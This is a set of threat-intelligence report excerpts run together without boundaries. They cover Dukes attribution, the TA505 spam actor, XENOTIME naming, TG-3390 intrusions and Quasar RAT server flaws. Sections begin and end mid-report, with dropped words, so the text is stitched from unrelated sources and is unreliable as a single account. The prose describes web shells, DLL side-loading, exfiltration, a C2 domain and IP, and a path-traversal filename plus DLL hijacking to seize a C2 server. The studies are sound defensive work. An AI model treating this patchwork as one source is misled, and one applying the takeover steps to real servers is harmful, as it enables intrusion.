We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .
In all known cases where exploits were employed , we believe the Dukes did not themselves discover the vulnerabilities or design the original exploits ; for the exploited zero-day , we believe the Dukes purchased the exploit .
In all other cases , we believe the group simply repurposed publicly available exploits or proofs of concept .
Attribution is always a difficult question , but attempting to answer it is important in understanding these types of threats and how to defend against them .
This paper has already stated that we believe the Dukes to be a Russian state-sponsored cyberespionage operation .
To reach this conclusion , we began by analyzing the apparent objectives and motivations of the group .
Based on what we currently know about the targets chosen by the Dukes over the past 7 years , they appear to have consistently targeted entities that deal with foreign policy and security policy matters .
These targets have included organizations such as ministries of foreign affairs , embassies , senates , parliaments , ministries of defense , defense contractors , and think tanks .
In one of their more intriguing cases , the Dukes have appeared to also target entities involved in the trafficking of illegal drugs .
Even such targets however appear to be consistent with the overarching theme , given the drug trade ’s relevance to security policy .
Based on this , we are confident in our conclusion that the Dukes ’ primary mission is the collection of intelligence to support foreign and security policy decision-making .
Based on the length of the Dukes ’ activity , our estimate of the amount of resources invested in the operation and the fact that their activity only appears to be increasing , we believe the group to have significant and most critically , stable financial backing .
The Dukes have consistently operated large-scale campaigns against high-profile targets while concurrently engaging in smaller , more targeted campaigns with apparent coordination and no evidence of unintentional overlap or operational clashes .
We therefore believe the Dukes to be a single , large , wellcoordinated organization with clear separation of responsibilities and targets .
The Dukes appear to prioritize the continuation of their operations over stealth .
Their 2015 CozyDuke and CloudDuke campaigns take this to the extreme by apparently opting for speed and quantity over stealth and quality .
In the most extreme case , the Dukes continued with their July 2015 CloudDuke campaign even after their activity had been outed by multiple security vendors .
We therefore believe the Dukes ’ primary mission to be so valuable to their benefactors that its continuation outweighs everything else .
This apparent disregard for publicity suggests , in our opinion , that the benefactors of the Dukes is so powerful and so tightly connected to the group that the Dukes are able to operate with no apparent fear of repercussions on getting caught .
We believe the only benefactor with the power to offer such comprehensive protection would be the government of the nation from which the group operates .
We therefore believe the Dukes to work either within or directly for a government , thus ruling out the possibility of a criminal gang or another third party .
Kaspersky Labs has previously noted the presence of Russian-language artefacts in some of the Duke malware samples .
We have also found a Russian-language error message in many PinchDuke samples which translates as , “ There is an error in the module ’s name ! The length of the data section name must be 4 bytes! ” Additionally , Kaspersky noted that based on the compilation timestamps , the authors of the Duke malware appear to primarily work from Monday to Friday between the times of 6am and 4pm UTC+0 .
This corresponds to working hours between 9am and 7pm in the UTC+3 time zone , also known as Moscow Standard Time , which covers , among others , much of western Russia , including Moscow and St. Petersburg .
The Kaspersky Labs analysis of the Duke malware authors ’ working times is supported by our own analysis , as well as that performed by FireEye .
This assertion of time zone is also supported by timestamps found in many GeminiDuke samples , which similarly suggest the group work in the Moscow Standard Time timezone , as further detailed in the section on the technical analysis of GeminiDuke .
Finally , the known targets of the Dukes - Eastern European foreign ministries , western think tanks and governmental organizations , even Russian-speaking drug dealers - conform to publiclyknown Russian foreign policy and security policy interests .
Even though the Dukes appear to have targeted governments all over the world , we are unaware of them ever targeting the Russian government .
While absence of evidence is not evidence of absence , it is an interesting detail to note .
Threat Actor Profile : TA505 , From Dridex to GlobeImposter .
Proofpoint researchers track a wide range of threat actors involved in both financially motivated cybercrime and state-sponsored actions .
One of the more prolific actors that we track - referred to as TA505 - is responsible for the largest malicious spam campaigns we have ever observed , distributing instances of the Dridex banking Trojan , Locky ransomware , Jaff ransomware , The Trick banking Trojan , and several others in very high volumes .
Because TA505 is such a significant part of the email threat landscape , this blog provides a retrospective on the shifting malware , payloads , and campaigns associated with this actor .
We examine their use malware such as Jaff , Bart , and Rockloader that appear to be exclusive to this group as well as more widely distributed malware like Dridex and Pony .
Where possible , we detail the affiliate models with which they are involved and outline the current state of TA505 campaigns .
The infographic in Figure 1 traces the earliest known dates on which TA505 began distributing particular malware strains , beginning with Dridex in 2014 and most recently when they elevated GlobeImposter and Philadelphia from small , regionally targeted ransomware variants to global threats .
Of note is TA505 ’s use of the Necurs botnet to drive their massive spam campaigns .
As we saw in both 2016 and 2017 , disruptions to Necurs went hand-in-hand with quiet periods from TA505 .
When the botnet came back online , TA505 campaigns quickly returned , usually at even greater scale than before the disruption .
The following is a more detailed description of the malware and notable campaign attributes associated with TA505 .
The now infamous Dridex banking Trojan can trace much of its DNA to Cridex and Bugat .
Dridex itself appeared shortly after the Zeus banking Trojan was taken down .
It was originally documented on July 25 , 2014 ( or June 22 , 2014 , according to Kaspersky ) and the first campaign we observed in which TA505 distributed Dridex occurred three days later on July 28 .
Although a number of actors have distributed Dridex , TA505 operates multiple affiliate IDs , including what appears to be the earliest recorded affiliate , botnet ID 125 .
These early campaigns were distributed via the Lerspeng downloader while later campaigns occasionally used Pony or Andromeda as intermediate loaders to distribute various instances of Dridex .
Although TA505 initially distributed Dridex botnet ID 125 , they were observed using botnet ID 220 in March 2015 and botnet ID 223 in December of that year .
Later , they were also associated with botnet IDs 7200 and 7500 .
These botnets generally target the following regions :125: UK , US , and Canada 220: UK and Australia 223: Germany 7200: UK 7500: Australia .
TA505 continued distributing Dridex through early June 2017 using a range of email attachments .
Most recently these included PDF attachments with embedded Microsoft Word documents bearing malicious macros that call PowerShell commands that install Dridex .
However , because of the length of time for which the group has been distributing Dridex , distribution mechanisms trace the state of the art for the last two years of email campaigns with techniques ranging from straight macro documents to a variety of zipped scripts .
In October 2015 , we observed several campaigns in which TA505 targeted Japanese and UK organizations with the Shifu banking Trojan .
Shifu is relatively common in Japan but was a new addition to TA505 ’s toolbox .
It appears that they introduced Shifu after high-profile law enforcement actions impacted Dridex distribution .
However , TA505 was also among the first actors to return to high-volume Dridex distribution this same month , even as they demonstrated their ability to diversify and deliver threats beyond Dridex .
As with many of their other campaigns , TA505 delivered Shifu through macro laden Microsoft Office document attachments .
TA505 introduced Locky ransomware in February 2016 .
After alternating for over four months with Dridex , Locky became the payload of choice for TA505 , eclipsing earlier campaigns in terms of volume and reach .
TA505 stopped distributing Dridex in July 2016 , relying almost exclusively on Locky through December of that year .
Like Dridex , Locky is also distributed in an affiliate model ; TA505 exclusively distributes Locky Affid=3 .
Low-volume campaigns distributed Dridex during much of 2015 Moderate volumes of Dridex appeared from the end of 2015 through February 2016 ; it is worth noting that these “ moderate volume ” campaigns were , at the time , the largest campaigns ever observed .
Alternating Dridex and Locky campaigns of varying volumes appeared through May 2016 .
A lull in June 2016 associated with a disruption in the Necurs botnet ; TA505 is heavily reliant on this massive botnet to send out high-volume malicious spam campaigns and disappearances of TA505 activity frequently accompany disruptions in Necurs .
Extremely high-volume campaigns distributing Locky exclusively in July 2016 , consistently delivering tens of millions of messages .
Another lull in November 2016 saw the complete absence of Locky and Dridex , while high-volume campaigns reappeared in December , albeit at lower volumes than during the Q3 2016 peak .
An expected break following the 2016-2017 winter holidays turned into an unexplained three-month hiatus for TA505 .
Large-scale Dridex and Locky campaigns returned in Q2 2017 , although none reached the volumes we observed in mid-2016 .
Later campaigns saw new attachment types , even as Dridex and Locky payloads remained largely unchanged .
Locky distribution ceased in June and July but returned in August with volumes rivaling the peaks of 2016 .
TA505 turned to URLs in early August 2017 to distribute Locky , finally eschewing the document or zipped script attachments that have characterized the majority of their Locky campaigns since February 2016 ; most of these URLs linked to malicious documents and scripts .
By later August , TA505 had turned back to large attachment campaigns , primarily distributing various zipped scripts that downloaded Locky .
The group continued this pattern with occasional URL campaigns and attached HTML files bearing malicious links .
TA505 first introduced Rockloader in April 2016 as an intermediate loader for Locky .
At that time , Rockloader was the initial payload downloaded by malicious attached JavaScript files .
Once Rockloader was installed , it downloaded Locky and , in some cases , Pony and Kegotip .
Pony is another loader with information stealing capabilities while Kegotip is an credential and email address harvesting malware strain that would appear in a small number of TA505 campaigns the following year as the primary payload .
Bart ransomware appeared for exactly one day on June 24 , 2016 .
It was a secondary payload downloaded by Rockloader , the initial payload in a large email campaign using zipped JavaScript attachments .
The Bart ransom screen was visually similar to Locky ’s but Bart had one important distinction : it could encrypt files without contacting a command and control server .
However , we have not seen Bart since , suggesting that this was either an experiment or that the ransomware did not function as expected for TA505 .
TA505 briefly distributed the Kegotip information stealer in April 2017 .
Across two campaigns of several million messages each , the actor used both macro laden Microsoft Word documents and zipped VBScript attachments to install the Trojan on potential victim PCs .
Kegotip is an infostealer ( credentials and email addresses ) used to facilitate other crimeware activities .
It steals credentials from various FTP clients , Outlook , and Internet Explorer .
It also will gather email addresses scraped from files stored on the computer .
This information can be used to facilitate future spam campaigns by the perpetrator or may be sold to other actors .
TA505 introduced Jaff ransomware in May 2017 .
Jaff was not dramatically different from other ransomware strains .
The payment portal was initially similar to the one used by Locky and Bart .
It was primarily notable for its high-volume campaigns and its association with TA505 , given the actor ’s propensity for massive campaigns and ability to dominate the email landscape .
Jaff appeared in multi-million message campaigns for roughly a month and then promptly disappeared as soon as a decryptor was released in mid-June 2017 .
The Trick , also known as Trickbot , is another banking Trojan that TA505 first began distributing in June of 2017 , although we have observed The Trick in the wild since fall 2016 , usually in regionally targeted campaigns .
It is generally considered a descendant of the Dyreza banking Trojan and features mutliple modules .
The main bot is responsible for persistence , the downloading of additional modules , loading affiliate payloads , and loading updates for the malware .
As with much of the malware distributed by TA505 , The Trick has appeared in frequent , high-volume campaigns .
The campaigns used a mix of attached zipped scripts ( WSF , VBS ) , malicious Microsoft Office documents ( Word , Excel ) , HTML attachments , password-protected Microsoft Word documents , links to malicious JavaScript , and other vectors .
The last TA505 campaigns featuring The Trick appeared in mid-September 2017 with payloads alternating between Locky and The Trick .
Philadelphia ransomware has been circulating since September 2016 .
It first attracted our attention in April of this year when we observed an actor customizing the malware for use in highly targeted campaigns .
In a brief stint , TA505 distributed it in one large campaign in July , but we have not seen them use it since .
GlobeImposter is another ransomware strain that saw relatively small-scale distribution until TA505 began including it in malicious spam campaigns at the end of July 2017 .
TA505 primarily distributed GlobeImposter in zipped script attachments through the beginning of September 2017 .
Again , GlobeImposter is not particularly innovative but TA505 elevated the ransomware from a regional variant to a major landscape feature during roughly six weeks of large campaigns .
TA505 is arguably one of the most significant financially motivated threat actors because of the extraordinary volumes of messages they send .
The variety of malware delivered by the group also demonstrates their deep connections to the underground malware scene .
At the time of writing , Locky ransomware remains their malware of choice , even as the group continues to experiment with a variety of additional malware .
The history of TA505 is instructive because they: Have proven to be highly adaptable , shifting techniques and malware frequently to “ follow the money ” , while largely sticking to successful strategies where possible Are flexible , using largely interchangeable components , innovating where necessary on the malware front and using off-the-shelf malware where possible Operate at massive scale , consistently driving global trends in malware distribution and message volume .
Each of these elements makes TA505 a magnifying lens through which to consider the framework employed by many modern threat actors .
Such a framework typically consists of five elements :Actor : The attacker organization ; real humans driven by various motivations -- In the case of TA505 , the motivations are financial .
Vector : The delivery mechanism ; email via attacker-controlled or leased spam botnet -- Necurs for TA505 -- remains a dominant vector , and certainly the vector of choice for this actor .
Hoster : The sites hosting malware ; if malware is not directly attached to email , then macro enabled documents , malicious scripts , or exploit kits will pull payloads from these servers .
TA505 almost exclusively hosts malware in this way , although they vary the means of installing their final payloads on victim machines .
Payload : The malware ; software that will enable the attacker to make use of ( control , exfiltrate data from , or download more software to ) the target computer .
For TA505 , the payloads have shifted over the years and months of their activity , but their sending and hosting infrastructure make these changes relatively simple to implement .
C&C : The command and control channel that serves to relay commands between the installed malware and attackers .
TA505 operates a variety of C&C servers , allowing it to be resilient in the case of takedowns , sinkholes , and other defensive operations .
This framework enables attackers to operate in robust , horizontally segmented ecosystems , specializing in developing certain parts of the framework , and selling or leasing to others ; such frameworks are resistant to takedowns and individual component failures .
But such frameworks also increase attackers' detection surface , that is , their susceptibility to discovery .
In the case of TA505 , while most elements of the framework are well-developed , their reliance on the Necurs botnet for the sending high-volume malicious spam - a key component of the Vector element above - appears to be their Achilles heel .
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A XENOTIME to Remember : Veles in the Wild .
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A XENOTIME to Remember : Veles in the Wild .
Release_Time : 2019-12-04Report_URL : https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/“ When I use a word , ” Humpty Dumpty said , in rather a scornful tone , “ it means just what I choose it to mean—neither more nor less. ” – Through the Looking Glass , Lewis Carroll FireEye recently published a blog covering the tactics , techniques , and procedures ( TTPs ) for the “ TRITON actor ” when preparing to deploy themalware framework in 2017 .
Overall , the post does a commendable job in making public findings previously only privately shared ( presumably by FireEye , and in several reports I authored for my employer , Dragos ) to threat intelligence customers .
As such , the blog continues to push forward the narrative of how ICS attacks are enabled through prepositioning and initial intrusion operations – an item I have discussed at length .
Yet one point of confusion in the blog comes at the very start : referring to the entity responsible for TRITON as the “ TRITON actor ” .
This seems confusing as FireEye earlier publicly declared the “ TRITON actor ” as a discrete entity , linked to a Russian research institution , and christened it as “ TEMP.Veles ” .
In the 2018 public posting announcing TEMP.Veles , FireEye researchers noted that the institute in question at least supported TEMP.Veles activity in deploying TRITON , with subsequent public presentations at Cyberwarcon and the Kaspersky Lab sponsored Security Analyst Summit essentially linking TRITON and the research institute ( and therefore TEMP.Veles ) as one in the same .
Yet the most-recent posting covering TTPs from initial access through prerequisites to enable final delivery of effects on target ( deploying) avoids the use of the TEMP.Veles term entirely .
In subsequent discussion , FireEye personnel indicate that there was not “ an avalanche of evidence to substantiate ” anything more than “ TRITON actor ” – summing matters by indicating this term “ is the best we ’ve got for the public for now ” .
Meanwhile , parallel work at Dragos ( my employer , where I have performed significant work on the activity described above ) uncovered similar conclusions concerning TTPs and behaviors , for both the 2017 event and subsequent activity in other industrial sectors .
Utilizing Diamond Model methodology for characterizing activity by behaviors attached to victims , we began trackingand immediate enabling activity as a distinct activity group ( collection of behaviors , infrastructure , and victimology ) designated XENOTIME .
Based on information gained from discussion with the initialresponders and subsequent work on follow-on activity by this entity , Dragos developed a comprehensive ( public ) picture of adversary activity roughly matching FireEye ’s analysis published in April 2019 , described in various media .
At this stage , we have two similar , parallel constructions of events – the how behind the immediate deployment and execution of– yet dramatically different responses in terms of attribution and labeling .
Since late 2018 , based upon the most-recent posting , FireEye appears to have “ walked back ” the previously-used terminology of TEMP.Veles and instead refers rather cryptically to the “ TRITON actor ” , while Dragos leveraged identified behaviors to consistently refer to an activity group , XENOTIME .
Given that both organizations appear to describe similar ( if not identical ) activity , any reasonable person could ( and should ) ask – why the inconsistency in naming and identification? Aside from the competitive vendor naming landscape ( which I am not a fan of in cases on direct overlap , but which has more to say for itself when different methodologies are employed around similar observations ) , the distinction between FireEye and Dragos ’ approaches with respect to the “ TRITON actor ” comes down to fundamental philosophical differences in methodology .
As wonderfully described in a recent public posting , FireEye adheres to a naming convention based upon extensive data collection and activity comparison , designed to yield the identification of a discrete , identifiable entity responsible for a given collection of activity .
This technique is precise and praiseworthy – yet at the same time , appears so rigorous as to impose limitations on the ability to dynamically adjust and adapt to emerging adversary activity .
( Or for that matter , even categorize otherwise well-known historical actors operating to the present day , such as Turla .
) FireEye ’s methodology may have particular limitations in instances where adversaries ( such as XENOTIME and presumably TEMP.Veles ) rely upon extensive use of publicly-available , commonly-used tools with limited amounts of customization .
In such cases , utilizing purely technical approaches for differentiation ( an issue I lightly touched on in a recent post ) becomes problematic , especially when trying to define attribution to specific , “ who-based ” entities ( such as a Russian research institute ) .
My understanding is FireEye labels entities where definitive attribution is not yet possible with the “ TEMP ” moniker ( hence , TEMP.Veles ) – yet in this case FireEye developed and deployed the label , then appeared to move away from it in subsequent reporting .
Based on the public blog post – which also indicated that FireEye is responding to an intrusion at a second facility featuring the same or similar observations – this is presumably not for lack of evidence , yet the “ downgrade ” occurs all the same .
In comparison , XENOTIME was defined based on principles of infrastructure ( compromised third-party infrastructure and various networks associated with several Russian research institutions ) , capabilities ( publicly- and commercially-available tools with varying levels of customization ) and targeting ( an issue not meant for discussion in this blog ) .
In personally responding to several incidents across multiple industry sectors since early 2018 matching TTPs from theevent , these items proved consistent and supported the creation of the XENOTIME activity group .
This naming decision was founded upon the underlying methodology described in the Diamond Model of intrusion analysis .
As such , this decision does not necessarily refer to a specific institution , but rather a collection of observations and behaviors observed across multiple , similarly-situated victims .
Of note , this methodology of naming abstracts away the “ who ” element – XENOTIME may represent a single discrete entity ( such as a Russian research institution ) or several entities working in coordination in a roughly repeatable , similar manner across multiple events .
Ultimately , the epistemic foundation of the behavior-based naming approach makes this irrelevant for tracking ( and labeling for convenience sake ) observations .
Much like the observers watching the shadows of objects cast upon the wall of the cave , these two definitions ( XENOTIME and TEMP.Veles , both presumably referring to “ the TRITON actor ” ) describe the same phenomena , yet at the same time appear different .
This question of perception and accuracy rests upon the underlying epistemic framework and the goal conceived for that framework in defining an adversary : FireEye ’s methodology follows a deductive approach requiring the collection of significant evidence over time to yield a conclusion that will be necessary given the premises ( the totality of evidence suggests APTxx ) ; the Dragos approach instead seeks an inductive approach , where premises may all be true but the conclusion need not necessarily follow from them given changes in premises over time or other observations not contained within the set ( thus , identified behaviors strongly suggests an activity group , defined as X ) .
From an external analysts ’ point of view , the wonder is , which is superior to the other? And my answer for this is : neither is perfect , but both are useful – depending upon your goals and objectives .
But rather than trying to pursue some comparison between the two for identification of superiority ( an approach that will result in unproductive argument and social media warring ) , the point of this post is to highlight the distinctions between these approaches and how – in the case of “ the TRITON actor ” – they result in noticeably different conclusions from similar datasets .
One reason for the distinction may be differences in evidence , as FireEye ’s public reporting notes two distinct events of which they are aware of and have responded to related to “ the TRITON actor ” while Dragos has been engaged several instances – thus , Dragos would possess more evidence to cement the definition of an activity group , while FireEye ’s data collection-centric approach would require far more observations to yield an “ APT ” .
Yet irrespective of this , it is confusing why the previously-declared “ TEMP ” category was walked back as this has led to not small amount of confusion – in both technical and non-technical audiences – as to just what FireEye ’s blog post refers .
Thus respected journalists ( at least by me ) conflate the “ TRITON actor is active at another site ” with “ TRITON malware was identified at another site ” .
In this case , we ’re seeing a definite problem with the overly-conservative naming approach used as it engenders confusion in a significant subset of the intended audience .
While some may dismiss adversary or activity naming as so much marketing , having a distinct label for something allows for clearer communication and more accurate discussion .
Furthermore , conflating adversaries with tools , since tools can be repurposed or used by other entities than those first observed deploying them , leads to further potential confusion as the “ X actor ” is quickly compressed in the minds of some to refer to any and all instantiations of tool “ X ” .
Overall , the discussion above may appear so much splitting of hairs or determining how many angels can dance on the head of a pin – yet given the communicative impacts behind different naming and labeling conventions , this exploration seems not merely useful but necessary .
Understanding the “ how ” and “ why ” behind different entity classifications of similar ( or even the same ) activity allows us to move beyond the dismissive approach of “ everyone has their names for marketing purposes ” to a more productive mindset that grasps the fundamental methodologies that ( should ) drive these decisions .
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ASPXTool — A modified version of the ASPXSpy web shell .
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ASPXTool — A modified version of the ASPXSpy web shell .
It is deployed to internally accessible servers running Internet Information Services ( IIS ) .
TG-3390 actors have also used the following publicly available tools :Windows Credential Editor ( WCE ) — obtains passwords from memory .
gsecdump — obtains passwords from memory .
winrar — compresses data for Exfiltration .
nbtscan — scans NetBIOS name servers .
CTU researchers have not observed TG-3390 actors performing reconnaissance prior to compromising organizations .
As discussed in the Actions on objectives section , the threat actors appear to wait until they have established a foothold .
TG-3390 actors use command and control ( C2 ) domains for extended periods of time but frequently change the domains' IP addresses .
The new IP addresses are typically on the same subnet as the previous ones .
TG-3390 is capable of using a C2 infrastructure that spans multiple networks and registrars .
The most common registrar used by the adversary is HiChina Zhicheng Technology Ltd .
The threat actors have a demonstrated ability to move from one network provider to another , using some infrastructure for extended periods of time and other domains for only a few days .
Seemingly random activity patterns in infrastructure deployment and usage , along with the ability to use a wide variety of geographically diverse infrastructure , help the threat actors avoid detection .
TG-3390 SWCs may be largely geographically independent , but the group's most frequently used C2 registrars and IP net blocks are located in the U.S. Using a U.S. based C2 infrastructure to compromise targets in the U.S. helps TG-3390 actors avoid geo-blocking and geo-flagging measures used in network defense .
The threat actors create PlugX DLL stub loaders that will run only after a specific date .
The compile dates of the samples analyzed by CTU researchers are all later than the hard-coded August 8 , 2013 date , indicating that the code might be reused from previous tools .
The OwaAuth web shell is likely created with a builder , given that the PE compile time of the binary does not change between instances and the configuration fields are padded to a specific size .
The adversaries modify publicly available tools such as ASPXSpy to remove identifying characteristics that network defenders use to identify web shells .
TG-3390 conducts SWCs or sends spearphishing emails with ZIP archive attachments .
The ZIP archives have names relevant to the targets and contain both legitimate files and malware .
One archive sample analyzed by CTU researchers contained a legitimate PDF file , a benign image of interest to targets , and an HttpBrowser installer disguised as an image file .
Both the redirect code on the compromised site and the exploit code appear and disappear , indicating that the adversaries add the code when they want to leverage the SWC and remove the code when it is not in use to limit the visibility of their operations .
The threat actors have evolved to whitelisting IP addresses and only delivering the exploit and payload to specific targets of interest .
CTU researchers have observed TG-3390 compromising a target organization's externally and internally accessible assets , such as an OWA server , and adding redirect code to point internal users to an external website that hosts an exploit and delivers malware .
TG-3390 actors have used Java exploits in their SWCs .
In particular , the threat actors have exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HttpBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
In activity analyzed by CTU researchers , TG-3390 executed the Hunter web application scanning tool against a target server running IIS .
Hunter queried the following URIs in a specific order to determine if the associated software configurations are insecure .
TG-3390 uses DLL side loading , a technique that involves running a legitimate , typically digitally signed , program that loads a malicious DLL .
CTU researchers have observed the threat actors employing legitimate Kaspersky antivirus variants in analyzed samples .
The DLL acts as a stub loader , which loads and executes the shell code .
The adversaries have used this technique to allow PlugX and HttpBrowser to persist on a system .
Note : DLL side loading is a prevalent persistence technique that is used to launch a multitude of backdoors .
The challenge is detecting known good software loading and running malware .
As security controls have improved , DLL side loading has evolved to load a payload stored in a different directory or from a registry value .
In other cases , threat actors placed web shells on externally accessible servers , sometimes behind a reverse proxy , to execute commands on the compromised system .
TG-3390 actors have deployed the OwaAuth web shell to Exchange servers , disguising it as an ISAPI filter .
The IIS w3wp.exe process loads the malicious DLL , which CTU researchers have observed in the Program Files\Microsoft\Exchange Server\ClientAccess\Owa\Bin directory .
To traverse the firewall , C2 traffic for most TG-3390 tools occurs over ports 53 , 80 , and 443 .
The PlugX malware can be configured to use HTTP , DNS , raw TCP , or UDP to avoid network-based detection .
In one sample analyzed by CTU researchers , PlugX was configured with hard-coded user credentials to bypass a proxy that required authentication .
Newer HttpBrowser versions use SSL with self-signed certificates to encrypt network communications .
TG-3390 actors frequently change the C2 domain's A record to point to the loopback IP address 127.0.0.1 , which is a variation of a technique known as " parking " .
Other variations of parking point the IP address to Google 's recursive name server 8.8.8.8 , an address belonging to Confluence , or to other non-routable addresses .
When the adversaries' operations are live , they modify the record again to point the C2 domain to an IP address they can access .
CTU researchers have discovered numerous details about TG-3390 operations , including how the adversaries explore a network , move laterally , and exfiltrate data .
After compromising an initial victim's system ( patient 0 ) , the threat actors use the Baidu search engine to search for the victim's organization name .
They then identify the Exchange server and attempt to install the OwaAuth web shell .
If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail , the adversaries identify other externally accessible servers and deploy ChinaChopper web shells .
Within six hours of entering the environment , the threat actors compromised multiple systems and stole credentials for the entire domain .
The threat actors use the Hunter and nbtscan tools , sometimes renamed , to conduct network reconnaissance for vulnerable servers and online systems .
TG-3390 actors favor At.exe to create scheduled tasks for executing commands on remote systems .
Over a few days' span , the threat actors install remote access tools on additional systems based upon the results of the network reconnaissance .
They use At.exe to schedule tasks to run self-extracting RAR archives , which install either HttpBrowser or PlugX .
CTU researchers observed the threat actors collecting Cisco VPN profiles to use when accessing the victim's network via VPN .
To facilitate lateral movement , the adversaries deploy ASPXTool web shells to internally accessible systems running IIS .
CTU researchers have observed the threat actors encrypting data using the password " admin-windows2014 " and splitting the RAR archives into parts in the recycler directory , with the same name as the uncompressed data .
The number at the end of the password corresponds to the year of the intrusion .
For example , the password " admin-windows2014 " shown in Figure 14 was changed to "admin-windows2015" for TG-3390 intrusions conducted in 2015 .
CTU researchers have observed TG-3390 actors staging RAR archives , renamed with a .zip file extension , on externally accessible web servers .
The adversaries then issue HTTP GET requests , sometimes with the User-Agent MINIXL , to exfiltrate the archive parts from the victim's network .
Successfully evicting TG-3390 from an environment requires a coordinated plan to remove all access points , including remote access tools and web shells .
Within weeks of eviction , the threat actors attempt to access their ChinaChopper web shells from previously used IP addresses .
Finding the web shells inaccessible , the adversaries search google.co.jp for remote access solutions .
CTU researchers discovered the threat actors searching for " [company] login , " which directed them to the landing page for remote access .
TG-3390 attempts to reenter the environment by identifying accounts that do not require two-factor authentication for remote access solutions , and then brute forcing usernames and passwords .
After reestablishing access , the adversaries download tools such as gsecudmp and WCE that are staged temporarily on websites that TG-3390 previously compromised but never used .
CTU researchers believe legitimate websites are used to host tools because web proxies categorize the sites as benign .
TG-3390 actors keep track of and leverage existing ASPXTool web shells in their operations , preferring to issue commands via an internally accessible web shell rather than HttpBrowser or PlugX .
After reentering an environment , the threat actors focus on obtaining the active directory contents .
TG-3390 is known for compromising organizations via SWCs and moving quickly to install backdoors on Exchange servers .
Despite the group's proficiency , there are still many opportunities to detect and disrupt its operation by studying its modus operandi .
The threat actors work to overcome existing security controls , or those put in place during an engagement , to complete their mission of exfiltrating intellectual property .
Uses RijndaelManaged instead of AES for encryption .
( with ECB mode , which is considered weak ) .
Quasar contains the NetSerializer library that handles serialization of high level IPacket objects that the client and server use to communicate .
The serialization assigns unique IDs for serializable objects types .
The open source and several other samples we found give a dynamically-assigned 1 byte ID at compile time .
The sample we analyzed changed that behavior and hard-coded DWORD for each object type .
This is a better implementation , as it allows servers and clients from different versions to communicate with each other to some extent .
The sample we analyzed is most likely forked from open source quasar 1.2.0.0 .
We find multiple file/object names hinting at the version , but must compelling :Quasar version 1.1.0.0 names the encryption module name space “ Encryption ” , while subsequent Quasar versions use “ Cryptography ” – which we observe in this sample .
Quasar version 1.3.0.0 changed the encryption key generation , and stopped saving the password in the sample .
There are more indications as well , such as names of objects , files etc .
Other samples we analyzed had different combinations of modification to cryptography and serialization .
Our decompilation of the serialization library was not complete enough to allow simple recompilation .
Instead , we downloaded and compiled the 1.2.0.0 server of the open-source Quasar RAT , having determined that this seemed likely the most similar version .
The out-of-the-box server could not communicate with the client sample owing to the previously documented modifications that we had observed .
We incorporated those changes into our build , discovering that this worked for most sample versions with almost no further modification .
Both the client and the server use the same code to serialize and encrypt the communications .
Instead of compiling a different server for each client , our server uses the code from within the client to communicate with it .
Using Reflection , the server can load the assembly of the client to find the relevant functions and passwords .
This was more complex .
Both the client and server uses the same API , but the client serializer cannot serialize server objects , because they are not the same as their “ mirrored ” objects inside the client .
In some cases these objects are completely different , for example the server commands to get the file system .
Our solution is to :Translate on the fly the objects the server send to mirrored matching client objects ( will not work if client doesn’t have this object , or renamed it ) .
Copy the content from the server object into the new client object ( will not work if client implementation is different ) .
Serialize the client object ( which will be later encrypted and sent ) .
Deserialize the decrypted response into another client response object .
Translate the client response object into the server version of the client response object .
Copy the contents from the client response object into the translated server object .
Return the translated object .
Our sample communicates with app.progsupdate.com , which resolved to 185.141.25.68 , over TCP port 4664 .
The server sends a command .
for example , “ Get System Information ” .
The command is translated to an IPacket of type GetSystemInfo .
The packet is serialized into a stream of bytes .
The stream of bytes is encrypted ( in some versions there is also optional compression step ) .
The stream of bytes is sent over TCP to the client .
The client receives and decrypts the packet .
The client deserializes the packet into IPacket GetSystemInfo .
The relevant handler of the client is called , collects the system information and sends it back inside IPacket of GetSystemInfoResponse .
Each of these layers seems to be different to some extent in the various samples we found .
The IPacket , Serialization and Encryption framework code is shared between the client and the server , therefore we can use it with Reflection .
However the Server handlers and command function are not , so we cannot create a completely perfect simulation .
The attacker can issue commands ( not all commands appear in different samples ) through the Quasar server GUI for each client :Get system information .
Get file system .
Upload / download / execute files .
Startup manager .
Open task manager .
Kill / start processes .
Edit registry .
Reverse Proxy .
Shutdown / restart the computer .
Open remote desktop connection .
Observe the desktop and actions of active user .
Issue remote mouse clicks and keyboard strokes .
Password stealing .
Retrieve Keylogger logs .
Visit website .
Display a message box .
The file system commands underling handlers and IPacket were modified to support more features , so these commands don’t work out of the box and required manual implementation from us .
With further analysis of the Quasar RAT C2 Server , we uncovered vulnerabilities in the server code , which would allow remote code execution .
This might allow a second attacker to install code of their choice – for example , their own Quasar RAT – on the original attacker ’s server .
We refer to this ( somewhat ironic ) technique as a “ Double Edged Sword Attack ” .
We did not apply this to any live C2 servers – we only tested this with our own servers in our lab .
In the lab , we changed our Quasar RAT source code to use the known encryption key , and to send fake victim IP address , City , Country code , Flag , and Username .
The Quasar serve does not verify the RAT data , and displays this data in the RAT Server GUI when the RAT is executed and connects to the server .
We found this could be used to supply compelling “ victim data ” to convince the attacker to connect to this “ victim ” via the GUI .
Quasar serve includes a File Manager window , allowing the attacker to select victim files , and trigger file operations – for example , uploading a file from victim machine to server .
Uploaded files are written to the server sub directory “ clients\user_name@machine_name_ipaddress ” .
Quasar serve does not verify that the size , filename , extension , or header of the uploaded file is the same as requested .
Therefore , if we convince the attacker to request the file “ secret_info.doc ( 20KB ) ” , we can instead return to the server any file of our choice , of any size or type .
When the Quasar serve retrieves the name of the uploaded file from the victim , it does not verify that it is a valid file path .
Therefore sending the file path “ ..\..\ secret_info.doc ”will result in writing our file instead to the same directory as the Quasar serve code .
Quasar serve does not even verify that a file was requested from the victim .
Immediately when the File Manager window is opened by the attacker , the Quasar serve sends two commands to the RAT : GetDrives and listDirectory ( to populate the list of the victim ’s files in the RAT Server GUI ) .
We can respond to those commands by instead sending two files of our choice to the Quasar serve .
Again , we control the content of the file , the size and the path and filename .
Quasar is a .NET Framework assembly , loading multiple DLLs upon launch , for example “ dnsapi.dll ” .
Quasar serve is vulnerable to a simple DLL hijacking attack , by using this technique to replace server DLLs .
When the attacker restarts the Quasar application , our uploaded “ dnsapi.dll ” will instead be loaded .
